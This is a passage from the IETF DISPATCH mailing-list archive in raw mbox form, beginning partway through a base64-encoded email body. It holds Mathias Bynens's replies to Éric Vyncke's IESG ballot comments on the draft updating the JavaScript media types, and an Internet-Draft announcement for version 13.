dDs8YnI+DQo8Yj5DYzogPC9iPlRoZSBJRVNHICZsdDtpZXNnQGlldGYub3JnJmd0OywgJnF1b3Q7 ZHJhZnQtaWV0Zi1kaXNwYXRjaC1qYXZhc2NyaXB0LW1qc0BpZXRmLm9yZyZxdW90OyAmbHQ7ZHJh ZnQtaWV0Zi1kaXNwYXRjaC1qYXZhc2NyaXB0LW1qc0BpZXRmLm9yZyZndDssIGRpc3BhdGNoIGNo YWlycyAmbHQ7ZGlzcGF0Y2gtY2hhaXJzQGlldGYub3JnJmd0OywgRElTUEFUQ0ggV0cgJmx0O2Rp c3BhdGNoQGlldGYub3JnJmd0OywgQmVuIENhbXBiZWxsICZsdDtiZW5Abm9zdHJ1bS5jb20mZ3Q7 PGJyPg0KPGI+U3ViamVjdDogPC9iPlJlOiDDiXJpYyBWeW5ja2UncyBObyBPYmplY3Rpb24gb24g ZHJhZnQtaWV0Zi1kaXNwYXRjaC1qYXZhc2NyaXB0LW1qcy0xMjogKHdpdGggQ09NTUVOVCk8bzpw PjwvbzpwPjwvc3Bhbj48L3A+DQo8L2Rpdj4NCjxkaXY+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj48 bzpwPiZuYnNwOzwvbzpwPjwvcD4NCjwvZGl2Pg0KPGRpdj4NCjxkaXY+DQo8cCBjbGFzcz0iTXNv Tm9ybWFsIj5UaGFua3MgZm9yIHRha2luZyBhIGxvb2ssJm5ic3A7w4lyaWMuIE9uIGJlaGFsZiBv ZiB0aGUgYXV0aG9ycywgSeKAmWxsIHJlc3BvbmQgdG8geW91ciBjb21tZW50cyBpbmxpbmU6PG86 cD48L286cD48L3A+DQo8ZGl2Pg0KPHAgY2xhc3M9Ik1zb05vcm1hbCI+PG86cD4mbmJzcDs8L286 cD48L3A+DQo8L2Rpdj4NCjwvZGl2Pg0KPGRpdj4NCjxkaXY+DQo8cCBjbGFzcz0iTXNvTm9ybWFs Ij5PbiBNb24sIEphbiAzLCAyMDIyIGF0IDE6MTYgUE0gw4lyaWMgVnluY2tlIHZpYSBEYXRhdHJh Y2tlciAmbHQ7PGEgaHJlZj0ibWFpbHRvOm5vcmVwbHlAaWV0Zi5vcmciPm5vcmVwbHlAaWV0Zi5v cmc8L2E+Jmd0OyB3cm90ZTo8bzpwPjwvbzpwPjwvcD4NCjwvZGl2Pg0KPGJsb2NrcXVvdGUgc3R5 bGU9ImJvcmRlcjpub25lO2JvcmRlci1sZWZ0OnNvbGlkICNDQ0NDQ0MgMS4wcHQ7cGFkZGluZzow Y20gMGNtIDBjbSA2LjBwdDttYXJnaW4tbGVmdDo0LjhwdDttYXJnaW4tcmlnaHQ6MGNtIj4NCjxw IGNsYXNzPSJNc29Ob3JtYWwiPsOJcmljIFZ5bmNrZSBoYXMgZW50ZXJlZCB0aGUgZm9sbG93aW5n IGJhbGxvdCBwb3NpdGlvbiBmb3I8YnI+DQpkcmFmdC1pZXRmLWRpc3BhdGNoLWphdmFzY3JpcHQt bWpzLTEyOiBObyBPYmplY3Rpb248YnI+DQo8YnI+DQpXaGVuIHJlc3BvbmRpbmcsIHBsZWFzZSBr ZWVwIHRoZSBzdWJqZWN0IGxpbmUgaW50YWN0IGFuZCByZXBseSB0byBhbGw8YnI+DQplbWFpbCBh ZGRyZXNzZXMgaW5jbHVkZWQgaW4gdGhlIFRvIGFuZCBDQyBsaW5lcy4gKEZlZWwgZnJlZSB0byBj dXQgdGhpczxicj4NCmludHJvZHVjdG9yeSBwYXJhZ3JhcGgsIGhvd2V2ZXIuKTxicj4NCjxicj4N Cjxicj4NClBsZWFzZSByZWZlciB0byA8YSBocmVmPSJodHRwczovL3d3dy5pZXRmLm9yZy9ibG9n L2hhbmRsaW5nLWllc2ctYmFsbG90LXBvc2l0aW9ucy8iIHRhcmdldD0iX2JsYW5rIj4NCmh0dHBz Oi8vd3d3LmlldGYub3JnL2Jsb2cvaGFuZGxpbmctaWVzZy1iYWxsb3QtcG9zaXRpb25zLzwvYT48 YnI+DQpmb3IgbW9yZSBpbmZvcm1hdGlvbiBhYm91dCBob3cgdG8gaGFuZGxlIERJU0NVU1MgYW5k IENPTU1FTlQgcG9zaXRpb25zLjxicj4NCjxicj4NCjxicj4NClRoZSBkb2N1bWVudCwgYWxvbmcg d2l0aCBvdGhlciBiYWxsb3QgcG9zaXRpb25zLCBjYW4gYmUgZm91bmQgaGVyZTo8YnI+DQo8YSBo cmVmPSJodHRwczovL2RhdGF0cmFja2VyLmlldGYub3JnL2RvYy9kcmFmdC1pZXRmLWRpc3BhdGNo LWphdmFzY3JpcHQtbWpzLyIgdGFyZ2V0PSJfYmxhbmsiPmh0dHBzOi8vZGF0YXRyYWNrZXIuaWV0 Zi5vcmcvZG9jL2RyYWZ0LWlldGYtZGlzcGF0Y2gtamF2YXNjcmlwdC1tanMvPC9hPjxicj4NCjxi cj4NCjxicj4NCjxicj4NCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+DQpDT01NRU5UOjxicj4NCi0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS08YnI+DQo8YnI+DQpUaGFuayB5b3UgZm9yIHRoZSB3b3JrIHB1dCBpbnRvIHRoaXMgZG9j dW1lbnQuPGJyPg0KPGJyPg0KUGxlYXNlIGZpbmQgYmVsb3cgc3NvbWUgbm9uLWJsb2NraW5nIENP TU1FTlQgcG9pbnRzIChidXQgcmVwbGllcyB3b3VsZCBiZTxicj4NCmFwcHJlY2lhdGVkIGV2ZW4g aWYgb25seSBmb3IgbXkgb3duIGVkdWNhdGlvbiksIGFuZCBzb21lIG5pdHMuPGJyPg0KPGJyPg0K U3BlY2lhbCB0aGFua3MgdG8gQmVuIENhbXBiZWxsIGZvciB0aGUgc2hlcGhlcmQncyB3cml0ZS11 cCBpbmNsdWRpbmcgdGhlPGJyPg0Kc2VjdGlvbiBhYm91dCB0aGUgV0cgY29uc2Vuc3VzIGZvciB0 aGlzIHVwZGF0ZSBhbmQgb24gUkZDIDQzMjkuPGJyPg0KPGJyPg0KSSBob3BlIHRoYXQgdGhpcyBo ZWxwcyB0byBpbXByb3ZlIHRoZSBkb2N1bWVudCw8YnI+DQo8YnI+DQpSZWdhcmRzLDxicj4NCjxi cj4NCi3DqXJpYzxicj4NCjxicj4NCj09IENPTU1FTlRTID09PGJyPg0KPGJyPg0KLS0gU2VjdGlv biAzIC0tPGJyPg0KPGJyPg0KSXMgVEMzOSBzbyB3ZWxsLWtub3duIGJ5IHRoZSBJRVRGIGNvbW11 bml0eSB0aGF0IG5vIGV4cGFuc2lvbi9leHBsYW5hdGlvbiBpczxicj4NCnJlcXVpcmVkPzxvOnA+ PC9vOnA+PC9wPg0KPC9ibG9ja3F1b3RlPg0KPGRpdj4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxv OnA+Jm5ic3A7PC9vOnA+PC9wPg0KPC9kaXY+DQo8ZGl2Pg0KPHAgY2xhc3M9Ik1zb05vcm1hbCI+ VEMzOSBpcyB0aGUgc3RhbmRhcmRzIGJvZHkgaW4gY2hhcmdlIG9mIEVDTUFTY3JpcHQsIGEuay5h LiB0aGUgSmF2YVNjcmlwdCBsYW5ndWFnZS4gVGhlIG9ubHkgbWVudGlvbiBvZiDigJxUQzM54oCd IGluIHRoZSBkcmFmdCBnaXZlcyB0aGUgZm9sbG93aW5nIGNvbnRleHQ6PG86cD48L286cD48L3A+ DQo8L2Rpdj4NCjxkaXY+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj48bzpwPiZuYnNwOzwvbzpwPjwv cD4NCjwvZGl2Pg0KPGRpdj4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPmBgYDxvOnA+PC9vOnA+PC9w Pg0KPC9kaXY+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj4mbmJzcDsgJm5ic3A7VGhlIFRDMzkgc3Rh bmRhcmRzIGJvZHkgZm9yIEVDTUFTY3JpcHQgaGFzIGRldGVybWluZWQgdGhhdCBtZWRpYTxvOnA+ PC9vOnA+PC9wPg0KPGRpdj4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPiZuYnNwOyAmbmJzcDt0eXBl cyBhcmUgb3V0c2lkZSBvZiB0aGVpciBzY29wZSBvZiB3b3JrIFtUQzM5LU1JTUUtSVNTVUVdLjxv OnA+PC9vOnA+PC9wPg0KPC9kaXY+DQo8ZGl2Pg0KPHAgY2xhc3M9Ik1zb05vcm1hbCI+YGBgPG86 cD48L286cD48L3A+DQo8L2Rpdj4NCjxkaXY+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj48bzpwPiZu YnNwOzwvbzpwPjwvcD4NCjwvZGl2Pg0KPGRpdj4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPldoYXQg d291bGQgeW91IGNvbnNpZGVyIHRvIGJlIG1pc3Npbmc/IEhhcHB5IHRvIGV4cGFuZCBvbiB0aGlz LjxvOnA+PC9vOnA+PC9wPg0KPC9kaXY+DQo8ZGl2Pg0KPHAgY2xhc3M9Ik1zb05vcm1hbCI+Jm5i c3A7PG86cD48L286cD48L3A+DQo8L2Rpdj4NCjxibG9ja3F1b3RlIHN0eWxlPSJib3JkZXI6bm9u ZTtib3JkZXItbGVmdDpzb2xpZCAjQ0NDQ0NDIDEuMHB0O3BhZGRpbmc6MGNtIDBjbSAwY20gNi4w cHQ7bWFyZ2luLWxlZnQ6NC44cHQ7bWFyZ2luLXJpZ2h0OjBjbSI+DQo8cCBjbGFzcz0iTXNvTm9y bWFsIj4tLSBTZWN0aW9uIDUgLS08YnI+DQpUaGlzIHNlY3VyaXR5IHNlY3Rpb24gaXMgcHJldHR5 IGV4dGVuc2l2ZSAoZ29vZCB0aGluZykgYW5kIEkgd29uZGVyIHdoZXRoZXIgaXQ8YnI+DQppcyBy ZWxldmFudCB0byB0aGlzIGRvY3VtZW50IGFzIGl0IGlzIG5vdCByZWxhdGVkIHRvIHRoZSBtZWRp YSB0eXBlcyB0aGVtc2VsdmVzPGJyPg0KYnV0IG1vcmUgb24gdGhlIHNjcmlwdGluZyBsYW5ndWFn ZSBpdHNlbGYuPG86cD48L286cD48L3A+DQo8L2Jsb2NrcXVvdGU+DQo8ZGl2Pg0KPHAgY2xhc3M9 Ik1zb05vcm1hbCI+PG86cD4mbmJzcDs8L286cD48L3A+DQo8L2Rpdj4NCjxkaXY+DQo8cCBjbGFz cz0iTXNvTm9ybWFsIj5Ud28gbm90ZXM6PG86cD48L286cD48L3A+DQo8L2Rpdj4NCjxkaXY+DQo8 cCBjbGFzcz0iTXNvTm9ybWFsIj48bzpwPiZuYnNwOzwvbzpwPjwvcD4NCjwvZGl2Pg0KPGRpdj4N CjxwIGNsYXNzPSJNc29Ob3JtYWwiPjEuIFRoZSBzZWN1cml0eSBzZWN0aW9uIGJ1aWxkcyB1cG9u IHRoZSBvbmUgZnJvbSBSRkM0MzI5ICg8YSBocmVmPSJodHRwczovL2RhdGF0cmFja2VyLmlldGYu b3JnL2RvYy9odG1sL3JmYzQzMjkjc2VjdGlvbi01Ij5odHRwczovL2RhdGF0cmFja2VyLmlldGYu b3JnL2RvYy9odG1sL3JmYzQzMjkjc2VjdGlvbi01PC9hPikgd2hpY2ggb3VyIGRyYWZ0IGFpbXMg dG8gc3VwZXJzZWRlLiBSZW1vdmluZyBpdCB3b3VsZA0KIGJlIGEgcmVncmVzc2lvbi48bzpwPjwv bzpwPjwvcD4NCjwvZGl2Pg0KPGRpdj4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPjIuIEkgc2VlIHlv dXIgcG9pbnQg4oCUIHRoZSBzZWN1cml0eSByaXNrcyBhcmUgKm1vc3RseSogcmVsYXRlZCB0byB0 aGUgbGFuZ3VhZ2UuIElNSE8gdGhlIHNlY3VyaXR5IHNlY3Rpb24gaXMgc3RpbGwgd29ydGggaW5j bHVkaW5nLCBhcyBmb3IgZS5nLiBicm93c2VyIGltcGxlbWVudGF0aW9ucywgdGhlIE1JTUUgdHlw ZSBpcyB3aGF0IGRldGVybWluZXMgd2hldGhlciBhIGdpdmVuIHJlc291cmNlIGlzIHByb2Nlc3Nl ZA0KIGFzIGEgc2NyaXB0IG9yIG5vdC4gVGh1cywgZmFpbGluZyB0byByZXNwZWN0IHRoZSBtZWRp YSB0eXBlcyBhcyBzdGF0ZWQgKGUuZy4gYWNjZXB0aW5nIGFkZGl0aW9uYWwsIG5vbi1zdGFuZGFy ZCBtZWRpYSB0eXBlcyBhcyBpZiB0aGV5IHdlcmUgSmF2YVNjcmlwdCkgd291bGQgY29uc3RpdHV0 ZSBhIHNlY3VyaXR5IHJpc2suPG86cD48L286cD48L3A+DQo8L2Rpdj4NCjxkaXY+DQo8cCBjbGFz cz0iTXNvTm9ybWFsIj48bzpwPiZuYnNwOzwvbzpwPjwvcD4NCjwvZGl2Pg0KPGJsb2NrcXVvdGUg c3R5bGU9ImJvcmRlcjpub25lO2JvcmRlci1sZWZ0OnNvbGlkICNDQ0NDQ0MgMS4wcHQ7cGFkZGlu ZzowY20gMGNtIDBjbSA2LjBwdDttYXJnaW4tbGVmdDo0LjhwdDttYXJnaW4tcmlnaHQ6MGNtIj4N CjxwIGNsYXNzPSJNc29Ob3JtYWwiPj09IE5JVFMgPT08YnI+DQo8YnI+DQotLSBTZWN0aW9uIDQu MiAtLTxicj4NClN1Z2dlc3Rpb24sIGFkZCAmcXVvdDtlbHNlJnF1b3Q7IG9uIHN0ZXBzIDIgYW5k IDMgdG8gYmUgY2xlYXIuPG86cD48L286cD48L3A+DQo8L2Jsb2NrcXVvdGU+DQo8ZGl2Pg0KPHAg Y2xhc3M9Ik1zb05vcm1hbCI+PG86cD4mbmJzcDs8L286cD48L3A+DQo8L2Rpdj4NCjxkaXY+DQo8 cCBjbGFzcz0iTXNvTm9ybWFsIj5UaGlzIHNlY3Rpb24gd2FzIGluaGVyaXRlZCBmcm9tJm5ic3A7 UkZDNDMyOSBhcy1pcywgYW5kIHdl4oCZdmUgYmVlbiBoZXNpdGFudCB0byBtYWtlIGNoYW5nZXMg dG8gaXQuIEhvd2V2ZXIsIHRoaXMgY2hhbmdlIHNlZW1zIHNtYWxsIGFuZCBoYXJtbGVzcyBlbm91 Z2gsIHNvIEnigJl2ZSBwcmVwYXJlZCBhIHBhdGNoIGhlcmU6Jm5ic3A7PGEgaHJlZj0iaHR0cHM6 Ly9naXRodWIuY29tL2xpbnV4d29sZi9ibWVjay1pZHMvcHVsbC81OSI+aHR0cHM6Ly9naXRodWIu Y29tL2xpbnV4d29sZi9ibWVjay1pZHMvcHVsbC81OTwvYT48bzpwPjwvbzpwPjwvcD4NCjwvZGl2 Pg0KPC9kaXY+DQo8L2Rpdj4NCjwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPg0K --_000_FC6009D40D9F4DF48779E9DF34BD669Bciscocom_-- From nobody Mon Jan 3 05:28:13 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 8D7263A073D for ; Mon, 3 Jan 2022 05:28:11 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -17.099 X-Spam-Level: X-Spam-Status: No, score=-17.099 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIMWL_WL_MED=-0.001, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001, USER_IN_DEF_DKIM_WL=-7.5, USER_IN_DEF_SPF_WL=-7.5] autolearn=unavailable autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=google.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id x80Z2OOwZ4Is for ; Mon, 3 Jan 2022 05:28:05 -0800 (PST) Received: from mail-pg1-x52d.google.com (mail-pg1-x52d.google.com [IPv6:2607:f8b0:4864:20::52d]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id CDC643A0744 for ; Mon, 3 Jan 2022 05:28:05 -0800 (PST) Received: by mail-pg1-x52d.google.com with SMTP id s1so28603143pga.5 for ; Mon, 03 Jan 2022 05:28:05 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=Hij7PqrYQmMTw5Lcp0jTXiqK11zWDJB35rAlWaakAj8=; b=BRfjgqDiLg4sjg7d9a8u6HJhM/GilKfZtiseGI/06mJqTJqeEG8BjmvbHykvL03fE6 DGJc1ssKdvxd/2ck3PuSx0rzRPPjoSG9i50WSoemZQbzrC7/i8veHSSbGH1MzFiGeY6s rF0+HrGIxy4Kw+T4UTC1N6sXTjEDOEJtQYQvLt80GcOpyccuOHJ7BR5boIXGbIhYd9n7 RRZjEulAsHy5qwTAjJ9zS2nq4Ilrx3aPmk1yah1MHx+cd8tgxLw1mEgKYldGOcunoEPS 6VVWV1FUqa+ueKNBMAKUSbE2Lz9Xb08yFQsnUkFomexEY77uKIvXxORmEPENKTBWOHJF L9gw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=Hij7PqrYQmMTw5Lcp0jTXiqK11zWDJB35rAlWaakAj8=; b=ru9in5hA4iMORC+mHIFpCBW2UhxND16JRA6hYVx30zNO9/GHHYK68JC73iZH3HtFGI mfzPToIw94D0g4HU5cXlJihMQ68PlsE5XT9FJjM9JRW8hgFKvxgZfYGkiziL62WEcpT7 QqFcdiGN4F+YzRaEgeTARirSkduu3wnb/P4QWj21hbh9Gtd2qg6vCvVFXIlg8wSE8x6r ykOas3fAOatnvdRk1KvODGh8R3i8PP7IgCntrVnkQVUTHTD2YDtT+DdIMkByeT9MEWjy jshBhHzq9/Hh0Dzo3U4bkLr1dmlwBlIefmf6rLH2KpcAJbDuxfFvAlFJAYNw4EnpxG2a vKaw== X-Gm-Message-State: AOAM531zqlEadnhOj+1LTucdWlLX89PjpgcBd/YbPaBujnclsLIXakDs 7a0cPNYakHCqZRPAP+w0nJu/3+GQPYJeUh93ZtpuZA== X-Google-Smtp-Source: ABdhPJwuFruBgWJOxk36PQ2yEMQurda/fkcaiV4AqSIAmgsPmbkQaQ/FnNUW7E0fHSRtS4sS1PfNE9tcuzBIypiQd5w= X-Received: by 2002:a63:141d:: with SMTP id u29mr40140135pgl.412.1641216483759; Mon, 03 Jan 2022 05:28:03 -0800 (PST) MIME-Version: 1.0 References: <164121216097.11389.15651087256093939724@ietfa.amsl.com> In-Reply-To: From: Mathias Bynens Date: Mon, 3 Jan 2022 14:27:52 +0100 Message-ID: To: "Eric Vyncke (evyncke)" Cc: The IESG , "draft-ietf-dispatch-javascript-mjs@ietf.org" , dispatch chairs , DISPATCH WG , Ben Campbell Content-Type: multipart/alternative; boundary="00000000000084616605d4ad7db9" Archived-At: Subject: Re: [dispatch] =?utf-8?q?=C3=89ric_Vyncke=27s_No_Objection_on_draft-?= =?utf-8?q?ietf-dispatch-javascript-mjs-12=3A_=28with_COMMENT=29?= X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 03 Jan 2022 13:28:12 -0000 --00000000000084616605d4ad7db9 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable Thank you! Patch amended: https://github.com/linuxwolf/bmeck-ids/pull/59/files I=E2=80=99ll land this= and will cut a new draft version including these changes. On Mon, Jan 3, 2022 at 2:04 PM Eric Vyncke (evyncke) wrote: > Thank you, Mathias, for your prompt reply. > > > > About the TC39 point, may I suggest the text "The ECMA Technical Committe= e > 29 (TC29), the standards body for ECMAscript, has determined..." ? > > > > All other remarks accepted. > > > > Regards > > > > -=C3=A9ric > > > > *From: *Mathias Bynens > *Date: *Monday, 3 January 2022 at 13:43 > *To: *Eric Vyncke > *Cc: *The IESG , " > draft-ietf-dispatch-javascript-mjs@ietf.org" < > draft-ietf-dispatch-javascript-mjs@ietf.org>, dispatch chairs < > dispatch-chairs@ietf.org>, DISPATCH WG , Ben Campbell = < > ben@nostrum.com> > *Subject: *Re: =C3=89ric Vyncke's No Objection on > draft-ietf-dispatch-javascript-mjs-12: (with COMMENT) > > > > Thanks for taking a look, =C3=89ric. On behalf of the authors, I=E2=80=99= ll respond to > your comments inline: > > > > On Mon, Jan 3, 2022 at 1:16 PM =C3=89ric Vyncke via Datatracker < > noreply@ietf.org> wrote: > > =C3=89ric Vyncke has entered the following ballot position for > draft-ietf-dispatch-javascript-mjs-12: No Objection > > When responding, please keep the subject line intact and reply to all > email addresses included in the To and CC lines. (Feel free to cut this > introductory paragraph, however.) > > > Please refer to https://www.ietf.org/blog/handling-iesg-ballot-positions/ > for more information about how to handle DISCUSS and COMMENT positions. > > > The document, along with other ballot positions, can be found here: > https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/ > > > > ---------------------------------------------------------------------- > COMMENT: > ---------------------------------------------------------------------- > > Thank you for the work put into this document. > > Please find below ssome non-blocking COMMENT points (but replies would be > appreciated even if only for my own education), and some nits. > > Special thanks to Ben Campbell for the shepherd's write-up including the > section about the WG consensus for this update and on RFC 4329. > > I hope that this helps to improve the document, > > Regards, > > -=C3=A9ric > > =3D=3D COMMENTS =3D=3D > > -- Section 3 -- > > Is TC39 so well-known by the IETF community that no expansion/explanation > is > required? > > > > TC39 is the standards body in charge of ECMAScript, a.k.a. the JavaScript > language. The only mention of =E2=80=9CTC39=E2=80=9D in the draft gives t= he following > context: > > > > ``` > > The TC39 standards body for ECMAScript has determined that media > > types are outside of their scope of work [TC39-MIME-ISSUE]. > > ``` > > > > What would you consider to be missing? Happy to expand on this. > > > > -- Section 5 -- > This security section is pretty extensive (good thing) and I wonder > whether it > is relevant to this document as it is not related to the media types > themselves > but more on the scripting language itself. > > > > Two notes: > > > > 1. The security section builds upon the one from RFC4329 ( > https://datatracker.ietf.org/doc/html/rfc4329#section-5) which our draft > aims to supersede. Removing it would be a regression. > > 2. I see your point =E2=80=94 the security risks are *mostly* related to = the > language. IMHO the security section is still worth including, as for e.g. > browser implementations, the MIME type is what determines whether a given > resource is processed as a script or not. Thus, failing to respect the > media types as stated (e.g. accepting additional, non-standard media type= s > as if they were JavaScript) would constitute a security risk. > > > > =3D=3D NITS =3D=3D > > -- Section 4.2 -- > Suggestion, add "else" on steps 2 and 3 to be clear. > > > > This section was inherited from RFC4329 as-is, and we=E2=80=99ve been hes= itant to > make changes to it. However, this change seems small and harmless enough, > so I=E2=80=99ve prepared a patch here: > https://github.com/linuxwolf/bmeck-ids/pull/59 > --00000000000084616605d4ad7db9 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
Thank you! Patch amended:=C2=A0https://github.com/linuxwolf/bmeck-id= s/pull/59/files I=E2=80=99ll land this and will cut a new draft version= including these changes.

On Mon, Jan 3, 2022 at 2:04 PM Eric Vyncke (evynck= e) <evyncke@cisco.com> wrote= :

Thank you, Mathias, for your pr= ompt reply.

=C2=A0

About the TC39 point, may I sug= gest the text "The ECMA Technical Committee 29 (TC29), the standards b= ody for ECMAscript, has determined..." ?

=C2=A0

All other remarks accepted.<= /u>

=C2=A0

Regards

=C2=A0

-=C3=A9ric=

=C2=A0

From: = Mathias Bynens <mths@google.com><= br> Date: Monday, 3 January 2022 at 13:43
To: Eric Vyncke <evyncke@cisco.com>
Cc: The IESG <= iesg@ietf.org>, "draft-ietf-dispatch-javascript-mjs@ietf.= org" <draft-ietf-dispatch-javascript-mjs@ietf.org>= , dispatch chairs <dispatch-chairs@ietf.org>, DISPATCH WG <dispatch@ietf.org>, Ben Campb= ell <ben@nostrum.co= m>
Subject: Re: =C3=89ric Vyncke's No Objection on draft-ietf-dispa= tch-javascript-mjs-12: (with COMMENT)

=C2=A0

Thanks for taking a look,=C2=A0=C3=89ric. On behalf = of the authors, I=E2=80=99ll respond to your comments inline:=

=C2=A0

On Mon, Jan 3, 2022 at 1:16 PM =C3=89ric Vyncke via = Datatracker <norep= ly@ietf.org> wrote:

=C3=89ric Vyncke has entered the following ballot po= sition for
draft-ietf-dispatch-javascript-mjs-12: No Objection

When responding, please keep the subject line intact and reply to all
email addresses included in the To and CC lines. (Feel free to cut this
introductory paragraph, however.)


Please refer to https://www.ietf.org/blog/handling-iesg-ballot-positions/
for more information about how to handle DISCUSS and COMMENT positions.


The document, along with other ballot positions, can be found here:
https://datatracker.ietf.org/doc/draft-ietf-dispatc= h-javascript-mjs/



----------------------------------------------------------------------
COMMENT:
----------------------------------------------------------------------

Thank you for the work put into this document.

Please find below ssome non-blocking COMMENT points (but replies would be appreciated even if only for my own education), and some nits.

Special thanks to Ben Campbell for the shepherd's write-up including th= e
section about the WG consensus for this update and on RFC 4329.

I hope that this helps to improve the document,

Regards,

-=C3=A9ric

=3D=3D COMMENTS =3D=3D

-- Section 3 --

Is TC39 so well-known by the IETF community that no expansion/explanation i= s
required?

=C2=A0

TC39 is the standards body in charge of ECMAScript, = a.k.a. the JavaScript language. The only mention of =E2=80=9CTC39=E2=80=9D = in the draft gives the following context:

=C2=A0

```

=C2=A0 =C2=A0The TC39 standards body for ECMAScript = has determined that media

=C2=A0 =C2=A0types are outside of their scope of wor= k [TC39-MIME-ISSUE].

```

=C2=A0

What would you consider to be missing? Happy to expa= nd on this.

=C2=A0

-- Section 5 --
This security section is pretty extensive (good thing) and I wonder whether= it
is relevant to this document as it is not related to the media types themse= lves
but more on the scripting language itself.

=C2=A0

Two notes:

=C2=A0

2. I see your point =E2=80=94 the security risks are= *mostly* related to the language. IMHO the security section is still worth= including, as for e.g. browser implementations, the MIME type is what dete= rmines whether a given resource is processed as a script or not. Thus, failing to respect the media types as stated (e.= g. accepting additional, non-standard media types as if they were JavaScrip= t) would constitute a security risk.

=C2=A0

=3D=3D NITS =3D=3D

-- Section 4.2 --
Suggestion, add "else" on steps 2 and 3 to be clear.

=C2=A0
--00000000000084616605d4ad7db9-- From nobody Mon Jan 3 06:17:15 2022 Return-Path: X-Original-To: dispatch@ietf.org Delivered-To: dispatch@ietfa.amsl.com Received: from ietfa.amsl.com (localhost [IPv6:::1]) by ietfa.amsl.com (Postfix) with ESMTP id 815FA3A08AD; Mon, 3 Jan 2022 06:17:08 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit From: internet-drafts@ietf.org To: Cc: dispatch@ietf.org X-Test-IDTracker: no X-IETF-IDTracker: 7.41.0 Auto-Submitted: auto-generated Precedence: bulk Reply-To: dispatch@ietf.org Message-ID: <164121942845.23308.2862422518612205467@ietfa.amsl.com> Date: Mon, 03 Jan 2022 06:17:08 -0800 Archived-At: Subject: [dispatch] I-D Action: draft-ietf-dispatch-javascript-mjs-13.txt X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 03 Jan 2022 14:17:09 -0000 A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Dispatch WG of the IETF. Title : ECMAScript Media Types Updates Authors : Matthew A. Miller Myles Borins Mathias Bynens Bradley Farias Filename : draft-ietf-dispatch-javascript-mjs-13.txt Pages : 28 Date : 2022-01-03 Abstract: This document describes the registration of media types for the ECMAScript and JavaScript programming languages and conformance requirements for implementations of these types. This document obsoletes RFC4329, "Scripting Media Types", replacing the previous registrations for "text/javascript" and "application/javascript" with information and requirements aligned with implementation experiences. The IETF datatracker status page for this draft is: https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/ There is also an htmlized version available at: https://datatracker.ietf.org/doc/html/draft-ietf-dispatch-javascript-mjs-13 A diff from the previous version is available at: https://www.ietf.org/rfcdiff?url2=draft-ietf-dispatch-javascript-mjs-13 Internet-Drafts are also available by rsync at rsync.ietf.org::internet-drafts From nobody Mon Jan 3 06:21:29 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 28B763A08B0 for ; Mon, 3 Jan 2022 06:21:28 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -17.099 X-Spam-Level: X-Spam-Status: No, score=-17.099 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIMWL_WL_MED=-0.001, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001, USER_IN_DEF_DKIM_WL=-7.5, USER_IN_DEF_SPF_WL=-7.5] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=google.com 